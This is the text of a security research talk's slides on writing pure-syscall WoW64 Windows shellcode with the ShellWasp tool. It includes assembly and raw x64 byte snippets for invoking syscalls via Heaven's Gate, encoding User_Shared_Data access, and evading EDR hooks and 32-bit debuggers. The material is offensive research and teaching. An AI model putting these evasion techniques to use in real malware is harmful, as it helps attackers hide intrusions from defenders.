Windows Syscalls in Shellcode: Advanced Techniques for Malicious Functionality

Dr. Bramwell Brizendine | Assistant Professor | UAH
Dr. Bramwell Brizendine

• Dr. Bramwell Brizendine was the founding Director of the VERONA Lab
  • Vulnerability and Exploitation Research for Offensive and Novel Attacks Lab
• Creator of ShellWasp:
  • https://github.com/Bw3ll/ShellWasp
• Creator of the JOP ROCKET:
  • http://www.joprocket.com
• Creator of SHAREM:
  • https://github.com/Bw3ll/sharem
• Assistant Professor of Computer Science at University of Alabama in Huntsville
• Interests: software exploitation, reverse engineering, code-reuse attacks, malware analysis, and offensive security
• Education:
  • 2019 Ph.D in Cyber Operations
  • 2016: M.S. in Applied Computer Science
  • 2014: M.S. in Information Assurance
• Contact:
  • bramwell.brizendine@gmail.com
  • bramwell.brizendine@uah.edu
Agenda

1. Background - intro to shellcode, syscalls, etc.
2. Reversing Syscalls in Wow64 Windows (7-11)
3. ShellWasp 2.0 and Mechanics of Calling Syscalls in WoW64 Shellcode – multiple new additions!
4. Building Syscall Shellcode – demo!
5. Closing Remarks
Traditional Windows Shellcode

- Shellcode usually uses WinAPI functions.
  - This is done by walking the PEB and traversing the PE file format to reach the exports directory.

- Shellcode is used in exploitation or as part of malware.
  - Some malware has more sophisticated, complex shellcode.

Shellcode shown in SHAREM shellcode analysis framework: https://github.com/Bw3ll/sharem
What is a Windows Syscall?

- A **Windows syscall** is made by some functions in the **NTDLL library** as a way to request a **service** from the kernel.
- The Windows syscall is the last step from **user-mode** to **kernel-mode**.
- In Windows, syscalls are not intended to ever be used by programmers.
- Windows syscalls utilize a special **system service number (SSN)**, which is placed in the **eax** register.
  - SSNs are also known as **syscall number** or **syscall ID**
The Appeal of Windows Syscalls

- Windows syscalls has become a highly trendy red-team topic for people who create custom software.
  - It largely has **NOT** been used for shellcode, however.
- Malicious WinAPIs can be hooked by EDR, preventing their usage.
  - This is much less **possible** with Windows syscalls.
    - Thus, functionality implemented by Windows syscalls is **inherently more reliable**.
    - Windows syscalls can be an outstanding way to evade EDR.
Windows Syscalls: “Undocumented”?

- Because Microsoft does not intend for syscalls to be used directly, these are regarded as “undocumented” – meaning that Microsoft generally does not provide documentation on these.
  - A few dozen out of hundreds are actually documented on their web site.
    - Rarely, they are forced to document some that become popular, so that antivirus efforts can better identify their usage by malware authors.

- Undocumented means they are undocumented by Microsoft.
  - Many NTDLL functions be found in NTAPI Undocumented Functions.
    - Not all NTDLL functions have a one-to-one correspondence with syscalls, but many any that site can also be used as syscalls.
    - Numerous other syscalls are described in numerous web sources, blogs, forums, etc.
  - Windows NT/2000 Native API Reference by Gary Nebbet
    - Parts are out of date, but lots of expert insight into NTDLL.

- Undocumented means that usage and implementation details can and do change without notice.
  - Though often many remain the same or very similar.
I and others created a shellcode analysis framework, **SHAREM**, but we could find no syscall shellcodes, aside from egghunters, other than one from 2005 (**Bania**).

- We looked extensively, so that we could make sure we enabled support correctly for it.
  - It quickly became apparent that syscall shellcode was mostly **uncharted territory**.
    - It **just was not done**.
  - While people love to use syscalls in higher-level code, it just is not done in shellcode...**until now**!
- This led to **reverse engineering** of how to actually do syscalls in shellcode.
- It led to the creation of **ShellWasp**, which automates a lot of the process.
Our Research: Syscalls in Shellcode

▪ We are looking at creating **32-bit** shellcode for applications running on **WoW64** emulation.
  ○ **Win7/10/11**
  ○ WoW64 lets us execute 32-bit applications on a 64-bit processor.
    ■ WoW64 = Windows on Windows (64-bit)

▪ Can we create shellcode that is **pure syscall** – devoid of WinAPI calls?
  ○ WinAPI usage is the de facto standard for 99.9% of shellcode, in terms of achieving functionality.
Syscalls: A Problem of Portability

As seen below from Mateusz "j00ru" Jurczyk's System Call Table, there is a significant problem of portability with syscalls.

Syscall System Service Numbers (SSNs) can change with each release / OS build.

- Many important syscalls remain the same across many releases, changing infrequently.
- Others change more often.

This makes them inherently unreliable across different OS builds!
History of Syscall Usage in Shellcode

- **Egghunters**: Egghunters use a syscall to search process memory. Syscall used to check to see if memory is valid.
  - If memory is valid, it will check each byte for a special, unique tag.
  - `NtAccessCheckAndAuditAlarm` is frequently used for this purpose.

- **Syscall shellcode from 2005**: This is the only non-Egghunter usage of syscalls in shellcode.
  - Four syscalls: `NtCreateKey`, `NtSetKeyValue`, `NtClose`, and `NtTerminate`.
  - PoC shellcode by Piotr Bania to set a registry key to cause a binary to be launched upon rebooting.
Recent History of Syscalls

- A 2018 report by Hod Gavriel about syscall usage in malware.
  - LockPos, Flokibot, Trickbot, Formbook, Osiris, Neurevt, Fastcash, and Coininer.
  - This included dual loading of NTDLL.
  - This report was highly influential, leading to red-team syscall tools that would follow in the next year.

- Some malware would dynamically parse NTDLL for syscall values.
  - Neurevt malware searched for “cmp, 0xb8” to find mov opcode (b8) and then copied syscall number and other instructions.
Shiny New Syscall Tools

- **Dumpert** – PoC syscall tool, in response to malware research.
  - Showed how syscalls can be used for LSASS memory dump with Cobalt Strike.
  - Uses `RtlGetVersion` to determine OS version.
  - Very seldom used.
  - June 2019, by Cornelis de Plaa and stanhegt, of Outflank

- **SysWhispers** — Generates 64-bit header / Assembly file implants to use syscalls in software made with Visual Studio.
  - Uses 64-bit PEB to determine OS build.
  - Popular but replaced by SysWhispers 2.
  - December 2019, by Jackson T.
ElephantSe4l’s Technique to Get Syscall ID from Function Addresses!

- **FreshyCalls** – A new way to generate syscalls, without syscalls tables.
  - ElephantSe4l saw a relationship between addresses of NTDLL function stub and SSNs.
  - Walks PEB and parses export table to reach NTDLL.
  - Parses NTDLL and sorts by address, starting with entries beginning with Nt.
  - December 2020, by Manuel León AKA ElephantSe4l.

- **SysWhispers2** – A total re-imagining of SysWhispers, borrowing ElephantSe4l’s sorting by address technique to deduce syscall ID from function address.
  - Primary difference: sorts NTDLL functions that start with Zw instead of Nt.
  - Hashses & order saved; determines SSN, based on order, incrementing by 1.
  - January 2021, by Jackson T.
Hell’s Gate and Its Twin Sister

- **Hell’s Gate** – Dynamically *extracts syscall values* from NTDLL
  - Searches for `mov` opcode, `0xb8`.
  - If found, it extracts the `bytes` next to it.
  - June 2020, by Paul Laîné and smelly__vx (@am0nsec)

- **Halo’s Gate** – A refinement on Hell’s Gate
  - Endpoint Detection and Response (EDR) was overwriting parts of the NTDLL function stub, making Hell’s Gate not work.
    - It didn’t do this for every NTDLL function.
  - Halo’s Gate finds NTDLL function *before or after* the modified NTDLL function.
    - It would *add or subtract by 1*, based on proximity to modified NTDLL function.
    - This builds upon sorting by addresses logic to allow Hell’s Gate to work even if parts of it are made unsuitable by EDR.
  - April 2021, by Reenz0h, of Sektor7
The “Secret” Behind Most Techniques?

- Most of these techniques will work if the syscall ID is able to **increment by one**, from one NTDLL function to the next.
  - That predictable logic has allowed syscall IDs effectively to be deduced from clues.
  - This work is thanks to ElephantSe4l.

- Most of the “modern” tools are built upon this premise: Freshycalls, SysWhispers2, SysWhispers3, Halo’s Gate
Reverse Engineering Windows Syscalls
In Windows 7 Wow64, the syscall can be found via `fs:c0`.

- The **FS** register points to the **TIB**.

```
0:009> u ntdll!ntallocatevirtualmemory
ntdll!NtAllocateVirtualMemory
777ffac0 b815000000 mov eax,15h
777ffac5 33c9 xor ecx,ecx
777ffac7 8d542404 lea edx,[esp+4]
777ffacb 64ff15c0000000 call dword ptr fs:[0C0h]
777ffad2 83c404 add esp,4
777ffad5 c21800 ret 18h
```

- **Eax** holds the **SSN** (syscall service number).
  - This one points to `NtAllocateVirtualMemory`
Windows 7: WoW64

- We can dereference the TIB + 0xc0 to find a pointer to our far jump.
  - We then jump to 64-bit mode.
  - The 0x33 segment selector denotes 64-bit mode; 0x23 = 32bit mode

```
0:009> dd fs:c0
0053:000000c0  73962320  00000409  00000000  00000000
```

```
0:009> u 73962320
73962320 ea1e2796733300  jmp  033:7396271E
73962327 0000            add     byte ptr [eax],al
```

- What is at fs:c0?
  - It points us to `X86SwitchTo64BitMode` in `wow64cpu.dll`.
    - By default, this is hidden from the PEB.
    - It is a 64-bit library, in 32-bit address space.
    - The far jump goes to `CpupReturnFromSimulatedCode` in `wow64cpu.dll`.

This far jump lets us transition from 32-bit to 64-bit code.
There is a hardcoded offset in NTDLL that leads to the system call.

- **Ntdll!Wow64SystemServiceCall** leads to **ntdll!Wow64Transition**.

```
0:000> u ntdll!ntallocatevirtualmemory
ntdll!NtAllocateVirtualMemory:
76fe2b10 b818000000 mov   eax,18h
76fe2b15 ba1088ff76 mov   edx,offset ntdll!Wow64SystemServiceCall (77358870)
76fe2b1a ffd2    call   edx
76fe2b1c c21800  ret    18h
76fe2b1f 90      nop

18h = SSN for NtAllocateVirtualMemory
```

```
0:000> u 77358870
ntdll!Wow64SystemServiceCall:
77358870 ff2528923f77 jmp    dword ptr [ntdll!Wow64Transition (773f9228)]
```
Ignoring `Wow64SystemServiceCall`?

- The new way with `Wow64SystemServiceCall` and `Wow64Transition`:

```
76fe2b15  ba1088ff76  mov  edx,offset ntdll!Wow64SystemServiceCall (77358870)
```

```
0:000> u 77358870
ntdll!Wow64SystemServiceCall:
77358870  ff2528923f77  jmp  dword ptr [ntdll!Wow64Transition (773f9228)]
```

```
0:000> dd 773f9228
76f67000  76f67000 77099000 00000000 00000000
76fe2b15  ba1088ff76
```

- That takes us to `wow64cpu!KiFastSystemCall`

```
0:000:x86> u 76f67000
wow64cpu!KiFastSystemCall:
76f67000  ea09706a773300  jmp  0033:776a7009
```
Ignoring Wow64SystemServiceCall?

• The new way with **Wow64SystemServiceCall** and **Wow64Transition**:

```
76fe2b15  ba1088ff76  mov  edx,offset ntdll!Wow64SystemServiceCall (77358870)
```

```
0:000> u 77358870
ntdll!Wow64SystemServiceCall:
77358870  ff2528923f77  jmp  dword ptr [ntdll!Wow64Transition (773f9228)]
```

```
0:000> dd 773f9228
76f67000 76f67000 77099000 00000000 00000000
```

• The Windows 7 way with **fs:0xc0** still works!

```
0:000> dd fs:c0
0053:000000c0 76f67000 00000409 00000000 00000000
```

• **Wow64Transition** and **fs:0xc0** lead to far jump to 64-bit mode!
  • Both of these point to **76f67000**.
  • Far jump → **wow64cpu!CpuReturnFromSimulatedCode**
Windows 11?

The old Windows 7 method of invoking syscalls still works!

- 0:000> u ntdll!ntallocatevirtualmemory
  ntdll!NtAllocateVirtualMemory:
  77884d50 b818000000 mov eax,18h
  77884d55 ba408f8a77 mov edx,offset ntdll!RtlInterlockedCompareExchange64+0x180
  77884d5a ffd2 call edx
  77884d5c c21800 ret 18h
  77884d5f 90 nop

- 0:000> u 778a8f40
  ntdll!Wow64SystemServiceCall:
  778a8f40 ff2520c29377 jmp dword ptr [ntdll!Wow64Transition (7793c220)]
  778a8f46 cc int 3

- 0:000> dd 7793c220
  7793c220 77806000 7793c000 00000000 00000000

- 0:000> u 77806000
  77806000 ea096080773300 jmp 0033:77806009

- The old **Windows 7** method of invoking syscalls still works!
ShellWasp
A Tool for Syscall Shellcode
Windows Releases

- Syscall SSNs change with each new release of Windows.
- We can determine the release by matching it to the OS build number.
- This information can be retrieved purely through shellcode via introspection.

<table>
<thead>
<tr>
<th>OS Release Name</th>
<th>OS Build Number</th>
<th>OS Build (Hex)</th>
</tr>
</thead>
<tbody>
<tr>
<td>21H2</td>
<td>19044</td>
<td>4A64</td>
</tr>
<tr>
<td>21H1</td>
<td>19043</td>
<td>4A63</td>
</tr>
<tr>
<td>20H2</td>
<td>19042</td>
<td>4A62</td>
</tr>
<tr>
<td>2004, 20H1</td>
<td>19041</td>
<td>4A61</td>
</tr>
<tr>
<td>1909, 19H2</td>
<td>18363</td>
<td>47BB</td>
</tr>
<tr>
<td>1903, 19H1</td>
<td>18362</td>
<td>47BA</td>
</tr>
<tr>
<td>1809, RS5</td>
<td>17763</td>
<td>4563</td>
</tr>
<tr>
<td>1803, RS4</td>
<td>17134</td>
<td>42EE</td>
</tr>
<tr>
<td>1709, RS3</td>
<td>16299</td>
<td>3FAB</td>
</tr>
<tr>
<td>1703, RS2</td>
<td>15063</td>
<td>3AD7</td>
</tr>
<tr>
<td>1607, RS1</td>
<td>14393</td>
<td>3839</td>
</tr>
<tr>
<td>1511, TH2</td>
<td>10586</td>
<td>295A</td>
</tr>
<tr>
<td>1507, TH1</td>
<td>10240</td>
<td>2800</td>
</tr>
</tbody>
</table>

<table>
<thead>
<tr>
<th>OS Release Name</th>
<th>OS Build Number</th>
<th>OS Build (Hex)</th>
</tr>
</thead>
<tbody>
<tr>
<td>Insider</td>
<td>25145</td>
<td>6239</td>
</tr>
<tr>
<td>Insider</td>
<td>25115</td>
<td>621B</td>
</tr>
<tr>
<td>Insider</td>
<td>22621</td>
<td>585D</td>
</tr>
<tr>
<td>Insider</td>
<td>22610</td>
<td>5852</td>
</tr>
<tr>
<td>21H2</td>
<td>22000</td>
<td>55F0</td>
</tr>
</tbody>
</table>

Win. Server 2022

<table>
<thead>
<tr>
<th>OS Release Name</th>
<th>OS Build Number</th>
<th>OS Build (Hex)</th>
</tr>
</thead>
<tbody>
<tr>
<td>21H2</td>
<td>20348</td>
<td>4F7C</td>
</tr>
</tbody>
</table>

ShellWasp: [https://github.com/Bw3ll/ShellWasp](https://github.com/Bw3ll/ShellWasp)
Walking the PEB

- We can walk the **Process Environment Block (PEB)** to find useful pieces of information.

  - **OSBuildNumber** is all we actually need if **Windows 10**.
    - It is at offset **0xAC** from start of the PEB.
    - You could use **OSMajorVersion** and **OSMinorVersion** to check if different OS version

- As with anything PEB-related, we can find the PEB at **fs:[0x30]**.

ShellWasp: [https://github.com/Bw3ll/ShellWasp](https://github.com/Bw3ll/ShellWasp)
- **OSMajorVersion** & **OSMinorVersion** can determine which version of Windows.

- The **PEB** combined with these to identify older versions of Windows.

```c
ULONG OSMajorVersion; //0xa4
ULONG OSMinorVersion; //0xa8
USHORT OSBuildNumber; //0xac
```

- 0xa = Windows 10
- 6.1 = Windows 7
Let’s Turn This Into Shellcode

- Only minimal Assembly is needed to get `OSBuildNumber`.

```
0x4a64 = 21h2
This is a recent Windows 10 release.
```
Making the Syscall in Shellcode

- How we make the syscall depends on the OS version.
  - Which **OS builds** are we trying to support?

**Windows 7 & 10/11**

**Windows 7**

`oursyscall:`
- xor ecx, ecx
- lea edx, [esp+4]
- call dword ptr fs:[0xc0]
- add esp, 4
- ret

**Windows 10/11**

`oursyscall:`
- xor ecx, ecx
- lea edx, [esp+4]
- call dword ptr fs:[0xc0]
- add esp, 4
- ret

```assembly
Windows 7
oursyscall:
cmp dword ptr [edi-0x4], 0xa
jne win7

win7:
xor ecx, ecx
lea edx, [esp+4]
call dword ptr fs:[0xc0]
add esp, 4
ret
```

```assembly
Windows 10/11
oursyscall:
call dword ptr fs:[0xc0]
ret
```

```assembly
win10:
call dword ptr fs:[0xc0]
ret
```

```assembly
win7:
xor ecx, ecx
lea edx, [esp+4]
call dword ptr fs:[0xc0]
add esp, 4
ret
```
This initializer is if you are targeting only one OS.

- Capturing OS Build
- Saving the stack; creating space on the stack to hold our syscall array.
- Checking for specific OS release versions. For most of these we only need to look at one byte to see if there is a match.
- Pushing syscall system service numbers onto the stack, placing them in the syscall array.
- Our syscall values now can be referenced from EDI, pointing to the syscall array.
Getting OS Build

Getting OS Major Version

This initializer is if you are targeting only one OS.

Saving the stack; creating space on the stack to hold our syscall array.

Checking for specific OS release versions. For most of these we only need to look at one byte to see if there is match.

Pushing syscall system service numbers onto the stack, placing them in the syscall array.

Our syscall values now can be referenced from EDI, pointing to the syscall array.

OS Major Version is accessible via edi-4.
Our Syscall Array

- After the **syscall initializer**, we have a **Syscall Array**, accessible via **edi**, to reach our syscall service numbers.

```plaintext
0:000> dd edi
0115ed7c  0000018b  00000174  00000060  0000001d
```

- **edi**: `NtSetContextThread`
- **edi + 0x4**: `NtReplaceKey`
- **edi + 0xc**: `NtCreateKey`
- **edi + 0x8**: `NtSetValueKey`

**ShellWasp**: [https://github.com/Bw3ll/ShellWasp](https://github.com/Bw3ll/ShellWasp)
We can use entries in our syscall array to set the SSN before making the syscall.

<table>
<thead>
<tr>
<th>Location</th>
<th>Syscall</th>
<th>SSN</th>
</tr>
</thead>
<tbody>
<tr>
<td>edi</td>
<td>NtSetContextThread</td>
<td>0x18b</td>
</tr>
<tr>
<td>edi + 0x4</td>
<td>NtReplaceKey</td>
<td>0x174</td>
</tr>
<tr>
<td>edi + 0x8</td>
<td>NtSetValueKey</td>
<td>0x60</td>
</tr>
<tr>
<td>edi + 0xc</td>
<td>NtCreateKey</td>
<td>0x1d</td>
</tr>
</tbody>
</table>

```assembly
mov eax, [edi+0x4]
call ourSyscall

mov eax, [edi+0x8]
call ourSyscall

mov eax, [edi+0xc]
call ourSyscall

ourSyscall:
call dword ptr fs:[0xc0]
ret
```
ShellWasp

- Automates building templates of *syscall shellcode*.

- Nearly all user-mode syscalls supported.
  - All the ones I could find function prototypes for.

- Solves the syscall portability problem.
  - Uses PEB to identify OS build.
  - Creates **Syscall Array**

- Supports **Windows 7/10/11**
  - Uses existing syscall tables.
  - Uses *newly created syscall tables* for newer versions of Windows 10 & 11.

*ShellWasp*: https://github.com/Bw3ll/ShellWasp
Users can easily and quickly **rearrange** syscalls in shellcode.
ShellWasp: Releases

- Easy to select desired Windows releases via `config` file or UI.
  - Can save changes made to `config`.
  - All the newest OS builds of Windows 10/11 are supported!

```plaintext
Windows 10:
  r14  22H2  [X]
  r13  21H2  [X]
  r12  21H1  [X]
  r11  20H2  [ ]
  r10  2004  [ ]
  r9   1909  [ ]
  r8   1903  [ ]
  r7   1809  [ ]
  r6   1803  [ ]
  r5   1709  [ ]
  r4   1703  [ ]
  r3   1607  [ ]
  r2   1511  [ ]
  r1   1507  [ ]

Windows 7:
  sp1  SP1  [X]
  sp0  SP0  [ ]

Windows 11:
  b2   22H2  [X]
  b1   21H2  [X]
```

ShellWasp: https://github.com/Bw3ll/ShellWasp
ShellWasp creates a template using function prototypes.

ShellWasp manages usage of different syscalls.

ShellWasp makes sure the pointer to syscall array remains intact.
- ShellWasp exports to text file.
The config file, `config.cfg`, makes it easy to save your selections.

- Can preload desired **syscalls** and **Windows releases** via `config` file or UI.
  - Can save changes made to `config`.

Users can enter selections directly into the config file via a text editor or through the user interface.
ShellWasp: Invoking the Syscall

This syscall function supports Win 7 and 10/11.

ourSyscall: ; Syscall Function
    cmp dword ptr [edi-0x4],0xa
    jne win7
    
win10: ; Windows 10/11 Syscall
    call dword ptr fs:[0xc0]
    ret
    
win7: ; Windows 7 Syscall
    xor ecx, ecx
    lea edx, [esp+4]
    call dword ptr fs:[0xc0]
    add esp, 4
    ret

• ShellWasp analyzes selected OS builds to determine how to build the shellcode.
  • If targeting Win10/11 OS builds, only the modern way of invoking a syscall is needed.
  • If you are doing only Windows 7, only the older style of invoking a syscall is needed.
  • If you want a combination of Win7/10/11, then you need both.
    • For Win7/10/11, ShellWasp adds extra code to check the OS Major version.
    • The OS Major Version is saved before the syscall array, for easy access.
      • If not combining Win7 with 10/11, then ShellWasp does not check the OS version, as it is unnecessary.
But ... WAIT! There is more!

- ShellWasp 2.0 introduces new features:
  - Get OSBuild from User_Shared_Data – no need to mess with the PEB.
  - Ultra elite, stealthy way of getting PEB
  - Three novel Ways to invoke the syscall.

ShellWasp: https://github.com/Bw3ll/ShellWasp
Visiting User_Shared_Data

- With the latest Windows OSs, it is not necessary to visit the PEB.
- The **OS Build** resides at an offset of **User_Shared_Data**.
  - This is always at a fixed location in memory at `0x7ffe0260`, regardless of OS or OS Build.
  - OS Build is **NOT** present in User_Shared_Data for Windows 7.
  - User_Shared_Data provides a fast and easy way for programs to get common, basic information.
    - It is not generally considered a security issue.
- Because this is not valid for Windows 7, you would only want to use this if certain the OS is Win 10/11 via information gathering)

ShellWasp: [https://github.com/Bw3ll/ShellWasp](https://github.com/Bw3ll/ShellWasp)
This initializer utilizes User_Shared_Data for Win 10/11.

Capturing OS Build

Saving the stack; creating space on the stack to hold our syscall array.

Checking for specific OS release versions. For most of these we only need to look at one byte to see if there is a match.

Pushing syscall system service numbers onto the stack, placing them in the syscall array.

Our syscall values now can be referenced from EDI, pointing to the syscall array.
This initializer utilizes an **encoded** User_Shared_Data for Win 10/11.

- Capturing OS Build

- Saving the stack; creating space on the stack to hold our syscall array.

- Checking for specific OS release versions. For most of these we only need to look at one byte to see if there is a match.

- Pushing syscall system service numbers onto the stack, placing them in the syscall array.

- Our syscall values now can be referenced from EDI, pointing to the syscall array.
Getting OSBuild via PEB via R12

- Perform **double Heaven’s Gate** to obtain the PEB:
  - Perform **Heaven’s Gate #1** to **64-bit mode**
  - Dereference **TEB64** from **R12** to retrieve **TEB** (32-bit)
  - Perform **Heaven’s Gate #2** to return to **32-bit mode**
  - Add offset **0x30** to base of **TEB**
    - **Presto! We have the PEB!**

- We are not familiar with any previous attempts at using this technique to get OS Build.
- Heaven’s gate partly obscures what is happening!

ShellWasp: [https://github.com/Bw3ll/ShellWasp](https://github.com/Bw3ll/ShellWasp)
Heaven’s Gate

- Heaven’s Gate has been around for about 15 years.
- We can invoke this with a **long jump** or **long call**.
  - These generally won’t work with shellcode.
- More convenient in shellcode is a **far return**, or **retf**.
- We provide the **selector** for the CS register: 0x33 → 64-bit
- Then we provide the **destination address** followed by a **retf**.
  - We can get the destination address by a GetPC instruction and adjust the result, pointing it to whatever we want.
- Following Heaven’s Gate, we can immediately use x64 code!
  - We can **transition to 64-bit mode** with Heaven’s Gate.

```
Push 0x33
Call NextRetf
NextRetf: add [esp],5
retf
```
OSBuild via PEB via R12

Heaven's Gate #1

-> x64

invoke Heaven's gate -- go x64

; x64: mov ebx, dword ptr [r12]
; Get TEB from TEB64

Heaven's Gate #2

-> x86

invoke Heaven's gate -- go x86

Get PEB

Get OS Build

x64 code: Get TEB from TEB64
Finding the OS Build

- ShellWasp 2.0 provides multiple ways to get the OS Build.
- We can **encode** the **User_Shared_Data**.
  - The purpose of this is obfuscation – to confuse someone who may be trying to interpret the code.
  - The values used for encoding operations are fully customizable.

```plaintext
1. fs_PEB [X] - Uses fs:[0x30] to find PEB and identify OS Build
   Supported: Windows 7-11
2. r12_PEB [ ] - Uses Heaven's Gate and r12 to find PEB and identify OS Build
   x64 code, mov ebx,dword ptr [r12], gets TEB from TEB64.
   Supported: Windows 7-11
3. usd [ ] - Uses User_Shared_Data to identify OS Build
4. encode [X] - Encode User_Shared_Data to determine OS build with XOR key 0xc0de.
   Supported: Windows 10-11
5. xor [0xc0de] - Change XOR key for encoding User_Shared_Data.
6. add [X] - Get User_Shared_Data by adding 0xbeef to starting value, 0x7ffd4371.
7. add_val [0xbeef] - Change value to add to get User_Shared_Data.
```
Novel Ways of Invoking the Syscall

- In x64, there are a variety of ways to invoke the syscall: `syscall`, `sysenter`, or `int 0x2e`.
- Starting in Windows 7, `Wow32Reserved` at offset `0xc0` of `TEB32` leads us to a `far jump` that allows us to transition to 64-bit mode before eventually going to kernel mode.
- This is pointed to by `fs:[0xc0]`.
  - Until now this has been the only way to invoke the syscall in WoW64.
An Epiphany

- I noticed in Windows 10/11 if I followed the far jump into 64-bit mode, it would take me to `jmp qword ptr [r15+0xf8]`.
- I had never cared to look too far beyond what happened in Windows internals beyond this point.
  - In almost all debuggers, it is **not possible** to see – as 32-bit debuggers skip over x64 code.
    - The single exception is x64 WinDbg
- My immediate epiphany was – why invoke a syscall by calling `fs:[0xc0]` when I could **bypass** that entire step?
  - Shortly there after, simply testing revealed I could!

ShellWasp: [https://github.com/Bw3ll/ShellWasp](https://github.com/Bw3ll/ShellWasp)
Function to Invoke Syscall for Wow64

- For Win10/11, ShellWasp generates code after the Heaven's gate to go to `jmp qword ptr [r15+0xF8]`.
- This leads to Windows code in `CpupReturnFromSimulatedCode` to help prepare transition to x64.

```assembly
ourSyscall:
    ; Syscall Function
call buildDestRet
buildDestRet:
    add [esp], 0x17
    push 0x33
    call nextRetf
nextRetf:
    add [esp], 5
    retf
    ; Create return address for leaving kernel-mode
    ; Push 0x33 selector for 64-bit
    ; GetPC
    db 0x41,0xff,0xa7,0xf8,0x00,0x00,0x00,0x00,0x00,0x00  ; x64 code as bytes, leading to syscall
    ; x64 code: jmp qword ptr [r15+0F8h]
    ret
    ; Return from kernel-mode, back to 32-bit
```
Benefits of this New Approach

- **Added stealth** – if trying to follow along in 32-bit debugger, it will simply **skip over the x64 code**.
- Those bytes will appear incorrectly as x86 code.
- Unless someone is in on it, they may overlook this.

### x86
```
001a12c0 e800000000 call stestwin10ALL+0x12c5 (001a12c5)
001a12c5 8042417    add    byte ptr [esp],17h
001a12c9 6a33       push    33h
001a12cb e800000000 call stestwin10ALL+0x12d0 (001a12d0)
001a12d0 8042405    add    byte ptr [esp],5
001a12d4 cb         retf
001a12d5 41         inc ecx
001a12d6 ffa7f800000 jmp dword ptr [edi+0F8h]
001a12dc c3         ret
```

### x64
```
00000000`001a12c0 e800000000 call stestwin10ALL+0x12c5 (00000000)
00000000`001a12c5 8042417    add    byte ptr [rsp],17h
00000000`001a12c9 6a33       push    33h
00000000`001a12cb e800000000 call stestwin10ALL+0x12d0 (00000000)
00000000`001a12d0 8042405    add    byte ptr [rsp],5
00000000`001a12d4 cb         retf
00000000`001a12d5 41ffaf7f800000 jmp qword ptr [r15+0F8h]
00000000`001a12dc c3         ret
```
Going Beyond \([r15+0xF8]\)?

- Can we simply skip this step altogether?
- \([R15+0xF8]\) takes us to code that helps prepare a **WOW64_CONTEXT**, which saves register values.
  - It also helps convert everything from 32-bit format to 64-bit.
    - That means **expanding registers to 64-bit**.
    - x64 uses a different calling convention, so some values need to be moved from the stack to appropriate registers.
    - Parameters on the stack need to be expanded from DWORD to **QWORD**.
    - Special cases need to be handled.
    - CPU\text{ReturnFromSimulatedCode} does much of this in Windows.
- Instead, we can perform the saving of 32-bit registers in **WOW64_CONTEXT** ourselves.
- We will take a new \texttt{jmp qword ptr [r15+rcx*8]} at the end, part of TurboThunkDispatch.

**ShellWasp:** https://github.com/Bw3ll/ShellWasp
This code works for **Win 10/11, WoW64**.

It is similar to—but **different** from—what Windows does.

It saves x86 registers to **WOW64_CONTEXT**.

It will **return** from kernel-mode to the **next instruction** after where ourSyscall was called.

```assembly
; Syscall Function
; Push 0x33 selector for 64-bit
; GetPC

; Create destination for Heaven's gate
; Invoke Heaven's gate--transition to x64 code
db 0x49,0x87,0xe6,0x45,0x8b,0x06,0x49,0x83,0xc6,0x04,0x45,0x89,0x45,0x3c,0x45,0x89,0x75,0x48,0x49,
0x83,0xe0,0x04,0x4d,0x8d,0x5e,0x04,0x41,0x89,0x7d,0x20,0x41,0x89,0x75,0x24,0x41,0x89,0x5d,0x28,0x41,
0x89,0x6d,0x38,0x9c,0x41,0x58,0x45,0x89,0x45,0x44,0x89,0xc1,0xc1,0xe9,0x10,0x41,0xff,0x24,0xc0

; x64 code as bytes, leading to syscall
xchg rsp,r14
mov r8d,dword ptr [r14]
add r14,4
mov dword ptr [r13+3Ch],r8d
mov dword ptr [r13+48h],r14d
sub r14,4
lea r11,[r14+4]
mov dword ptr [r13+20h],edi
mov dword ptr [r13+24h],esi
mov dword ptr [r13+28h],ebx
mov dword ptr [r13+38h],ebp
pushfq
pop r8
mov dword ptr [r13+44h],r8d
mov ecx,eax
shr ecx,10h
jmp qword ptr [r15+rcx*8]
```

# Save x86 EIP
# Save x86 ESP

# Pointer to syscall args
# Save 32-bit registers
# into WOW64CONTEXT

# Save x86 EFlags

# Get TurboThunk, if needed
What about Windows 7?

- Our trick to do a `jmp qword ptr [r15+0xF8]` will not work in Windows 7.
- We can perform **Heaven’s gate** and do something similar with **extended x64 code**, however.
- As before, the code helps preserve x86 CPU context and set up transition to 64-bit mode.

**ShellWasp**: https://github.com/Bw3ll/ShellWasp
ShellWasp Way to Invoke Syscall

- This method, involving **Heaven's gate**, works only in **Win7**.
- This code is **similar** to what Windows does naturally.

```assembly
ourSyscall: ; Syscall Function
    xor ecx, ecx
    lea edx, [esp+4]
push 0x33 ; Push 0x33 selector for 64-bit
call nextRetf2 ; GetPC
nextRetf2:
    add [esp], 5 ; Create destination for Heaven's gate
    retf ; Invoke Heaven's gate--transition to x64 code
db 0x67,0x44,0x8b,0x04,0x24,0x45,0x89,0x85,0xbc,0x00,0x00,0x83,0xc4,0x04,0x41,0x89,0xa5,
    0xc8,0x00,0x00,0x04,0x8b,0xa4,0x24,0x80,0x14,0x00,0x00,0x49,0x83,0xa4,0x24,0x80,0x14,0x00,
    0x00,0x00,0x44,0x8b,0xda,0x41,0xff,0x24,0xcf ; x64 code as bytes, leading to syscall
    mov r8d,dword ptr [esp]
    mov dword ptr [r13+0BCh],r8d
    add esp,0x4
    mov dword ptr [r13+0C8h],esp
    mov rsp,qword ptr [r12+1480h]
    and qword ptr [r12+1480h],0
    mov r11d,edx
    jmp qword ptr [r15+rcx*8]
```
ShellWasp
Win7: x86 to x64

- The x64 code that executes is very different from the x86 code.
- In 32-bit debuggers, the x64 code is skipped over.
Multiple Ways of Invoking the Syscall

- ShellWasp offers **multiple ways** to **invoke the syscall**, across multiple operating systems, via **WoW64**.
- The setup for Win7 and Win10/11 are **incompatible**.
- Additionally, the set up and stack clean up for these alternative methods would ordinarily be incompatible.

```
ShellWasp>Style> s

ShellWasp offers different ways to invoke the syscall for 32-bit, WoW64 shellcode:
1  fs  [ ] - Uses fs:[0xc0] to invoke syscall
2  x64 [ ] - Uses Heaven’s gate and executes x64 code to invoke syscall
3  x64Ex [X] - Uses Heaven's gate and executes extended x64 code to invoke syscall Win10/11 only
```

ShellWasp>Style>Syscall>
ShellWasp can output x64 code in two formats:

- Inline Assembly for Microsoft Visual Studio (MSVC)
- Initialized data (db) for NASM or similar.

When invoking the syscall via Heaven's gate and executing x64 code, there are different options on how to represent x64 code. Different formats are required based on compiler:

